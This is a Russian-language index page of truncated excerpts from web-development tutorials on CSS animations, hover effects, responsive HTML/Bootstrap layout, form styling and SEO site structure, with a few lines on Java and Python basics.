для создания этого забавного лоадера, слегка напоминающего игрушку кубик-рубик, нужно в html-разметке прописать блок обертку с классом loader и четыре ...
для создания более сложных css анимаций, разработчики ввели функцию var() и calc(). функция var() позволяет динамически вставлять значения переменных ...
если верхняя панель навигации или просто меню (это одно и тоже), исчезает с поля зрения, при прокрутке странице, то перед вами точно не фиксированное ...
я большой сторонник минимализма при планировании html структуры сайта. любой сайт начинается с шапки и если у вас небольшое меню, то желательно ...
на прошлом уроке мы создавали html структуру для макета с блок постами, а на этом уроке расставим посты в соответствии с макетом, максимально используя ...
существует длинный список языков программирования, которые продолжают существовать по сей день, со своими сильными и слабыми сторонами, облегчая ...
у нас есть схема структуры сайта с ключевыми словами, которые будут вставляться в статью, давая четкий сигнал поисковым машинам, на какой запрос ...
на предыдущем уроке мы нарисовали чашку с блюдцем, используя только css стили и никакой графики. на этом уроке сделаем нашу чашку интерактивной ...
css отлично подходит для анимирования элементов сайта, когда не требуется взаимодействия с пользователями. если элементы должны реагировать ...
рассмотрим на примере анимации текста, как можно использовать css функцию attr. создание, позиционирование и стилизация текста data-text представляет ...
данная css анимация построена на двух свойстве transform с его значениями: rotate (поворот) и scale (масштабирование). два круга вращаются вокруг своей оси ...
проверка на сезонность и перспективность нам надо исключить, что выбранная ниша не имеет сезонности и нисходящего тренда. поскольку, это наш ...
предлагаю вашему вниманию конкретный план действий, состоящий из 8 шагов, которые приведут вас от идеи до готовой схемы структуры сайта. схема ...
семантическое ядро – это список ключевых слов, по которым будут заходить пользователи на ваш сайт из поисковых систем. сначала собирают семантическое ...
по внутренней поверхности полукруга, туда-сюда катается мячик. кроме этого сам полукруг или назовем его лоадер, раскачивается вверх-вниз, словно ...
медленно движущаяся картинка в сферической рамке смотрится очень завораживающе. эта сказочная анимация выглядит дорого, хоть и сделана на ...
на прошлом уроке мы создали схему структуры сайта, на котором будет 6 категорий, одна из категорий будет состоять из двух подкатегорий. все категории ...
как развернуть сложенные в стопку карточки при наведении мыши? html разметка html структура состоит из трех карточек с текстовым контентом. ...
html код html разметка состоит из элементов маркированного списка, внутри блока div. <div class="list">     <h2>list item hover effect</h2>     <ul> ...
прозрачная форма на фоне какого-нибудь девственного пейзажа - любимая тема веб-дизайнеров. как верстать такую форму? с этим нам предстоит сегодня ...
перед теми кто начинает программировать на java, сразу возникают два вопроса: как скомпилировать, и как запустить программу на java? в одной из ...
валидация формы – это функция, проверяющая вводимую пользователем информацию, при заполнении формы. если пользователь что-то пропустил или ...
секция с фотографиями на секции с портфолио, вы узнаете, как верстать на flexbox. мы имеем дело с нестандартным расположением фотографий, одна ...
сегодня мы поговорим о том, что такое якорь в html, как это работает, да так, чтобы действие произошло плавно. якорь – это знак решетки, который ...
у любого вебмастера есть свой набор полезных сервисов, которые облегчают работу и помогают в веб разработке. сегодня я поделюсь с вами своей ...
у посетителя сайта, должна быть возможность, быстро вернуться наверх, если он дошел до конца страницы. обычно в правом нижнем углу браузера, ...
на этом уроке вы узнаете, как работать со скриптом aos, с помощью которого можно легко создавать анимацию элементов при скролле страниц. ссылка ...
после прочтения этой статьи, у начинающего разработчика по крайней мере на один вопрос будет меньше. заказчики часто просят исполнителя изменить ...
для верстальщика обязательным порядком необходимо уметь стилизовать разные элементы формы. согласитесь, что вряд ли дизайнер оставит форму, ...
на предыдущем уроке мы разобрали, как можно менять отдельные css свойства у элементов при помощи javascript. однако будет ли такое действие эффективным, ...
давайте немного освежим в памяти, для чего нужны radio кнопки на сайтах. radio кнопка – это переключатель, который используют в формах, когда пользователю ...
на этом уроке, мы займемся версткой формы, пока без отправления данных на сервер. кроме того, установим скрипт выбора даты, при онлайн бронировании. ...
в прошлой статье мы говорили о том, как превратить php скрипт в консольную команду для выполнения рутинных действий. а в этой посмотрим как разобрать ...
на прошлом уроке, мы привязали к кнопке гамбургер выезжающее меню при клике по ней. посмотрите демонстрационный пример прошлого урока, как ...
на первом и втором уроках мы делали адаптивную верстку фотогалереи, где контент заполнял всю ширину экрана. сегодня сверстаем простую секцию ...
на предыдущем уроке мы сверстали секцию с портфолио на css grid для десктопа. осталось сделать верстку адаптивной для различных мобильных устройств ...
у верстальщиков часто возникает ситуация, когда необходимо сделать элементу вертикальное выравнивание - расположить в центре экрана по оси ...
при посещении тех или иных сайтов можно заметить такую особенность, когда при выделении текста на странице, он может менять свой стиль. такого ...
на прошлом уроке были проделаны все подготовительные работы для верстки секции по psd макету. после создания файла index.html (я пишу код в notepad++), у ...
на прошлом уроке была сделана html разметка для дальнейшей верстки psd макета. как и ожидалось все блоки и секции встали друг под друга - это и есть ...
на прошлом уроке была сделана верстка секции по psd макету. сейчас наш сайт хорошо смотрится на больших и средних мониторах. но что произойдет, ...
в первой части урока мы нарисовали сам слайдер с использованием html и css, во второй части создадим кнопки prev / next и напишем javascript код для управления ...
на этом уроке разберем как можно имитировать ввод текста с клавиатуры с помощью css анимации. эффект печатающегося текста способен оживить вашу ...
здравствуйте, уважаемые посетители сайта myrusakov.ru! как вы знаете, недавно я запустил несколько новых видео курсов связанных с языком java и поэтому ...
можно бесконечно долго изучать html теги и css свойства, но эти знания сами по себе ничего не дают. нужно брать psd макет и начинать верстать, закрепляя ...
на прошлом уроке, мы создали анимацию для кнопки гамбургер, без привязки к меню. на этом уроке привяжем к нашей кнопке адаптивное меню. на мобильных ...
css свойство align-items управляет элементами по вертикали в системе grid layout. на этом уроке, вы увидите все возможные варианты расположения элементов ...
различные hover эффекты на кнопках служат для привлечения внимания пользователей, чтобы побудить их к активным действиям. сегодня мы рассмотрим, ...
из этого урока вы узнаете как создать навигационное меню с иконками и hover-эффектом, используя библиотеку font awesome на чистом css. 1) подключить библиотеку ...
на этом уроке вы узнаете, как сделать градиентную рамку с размытыми краями для блоков. данный css-эффект построен на градиентах, заданных псевдоэлементам. ...
на чистом css можно создавать интересные и оригинальные "спецэффекты", один из которых мы сейчас подробно разберем. у нас есть список пунктов ...
как веб-разработчику продемонстрировать потенциальному клиенту адаптивность сделанных сайтов из портфолио? и зачем вообще, что-то демонстрировать, ...
статичные блоки с отзывами идеально подходят для классических товарных лендингов. это когда срок жизни лендинга, равен длительности продажи ...
уже трудно себе представить современные сайты без иконок и вообще без графики. вся графика, которую мы видим на сайтах может быть растровой ...
какая необходимость делать купоны на css, когда есть photoshop и много замечательных сервисов, где на конструкторе, выбрав нужный шаблон, можно с легкостью ...
при помощи svg фильтра fegaussianblur можно размыть какую-нибудь область на фотографии, ограничив ее блоком любой формы и с любым оформлением. на размытой ...
формат svg дает новые возможности для рисования различных фигур и анимирования их. сегодня мы рассмотрим svg hover эффект на кнопку. создадим внешний ...
css библиотека imagehover – это коллекция различных css эффектов при наведении на картинку (hover effects), которые можно применять как к одиночным картинкам, ...
сегодня мы рассмотрим простой, но интересный эффект появления рамки из центра, при наведении на кнопку. в качестве объекта наведения может быть ...
на экранах мобильных устройств, очень часто для горизонтального меню не хватает места. как же решает эту проблему большинство верстальщиков? ...
уже давно на главной странице блога для вывода превью-постов, активно применяют не привычный список, а сеточный макет (grid layout) в виде карточек ...
дефолтное подчеркивание ссылок дефолтное подчеркивание ссылок в html выглядит очень скучно и непривлекательно. стандартные ссылки имеют синий ...
для создания простенького параллакс эффекта вполне можно обойтись и без использования сторонних плагинов и библиотек. более того, для реализации ...
моему другу на собеседовании в одну it компанию, дали следующее задание: "как при помощи jquery отфильтровать данные из списка по первым буквам в ...
внутри контейнера header находится блок навигации nav. меню шапки в свою очередь навигация содержит меню и языковое меню. продолжим html ...
на этом уроке мы создадим простую css анимацию появления текста. разобьем наш текст на отдельные фразы и будем их друг за другом прокручивать ...
в первой и второй части урока, мы заново создали шапку сайта, но этого не достаточно. при уменьшении ширины экрана до 1000 пикселей, элементы сайта ...
исходя из своего личного опыта, делать адаптивную верстку psd макета по сетке bootstrap, несколько проще, чем на флоатах или флексах. верстку по системе ...
на предыдущем уроке мы верстали верхнюю панель макета, а на этом уроке приступим к верстке карусели (слайдера). скриншот секции карусель. ...
на предыдущем уроке мы верстали карусель (слайдер) с помощью bootstrap компонента carousel, а на этом уроке нас ждет верстка секции с иконками. секция ...
итак, на этом уроке делаем верстку последней секции макета по сетке bootstrap. секция с корзиной верстаем уже по накатанной схеме: секция -> ...
в python у разных типов данных есть свои методы (функции), специфичные для этого типа данных. и раз уж на прошлом уроке мы начали знакомиться со строками, ...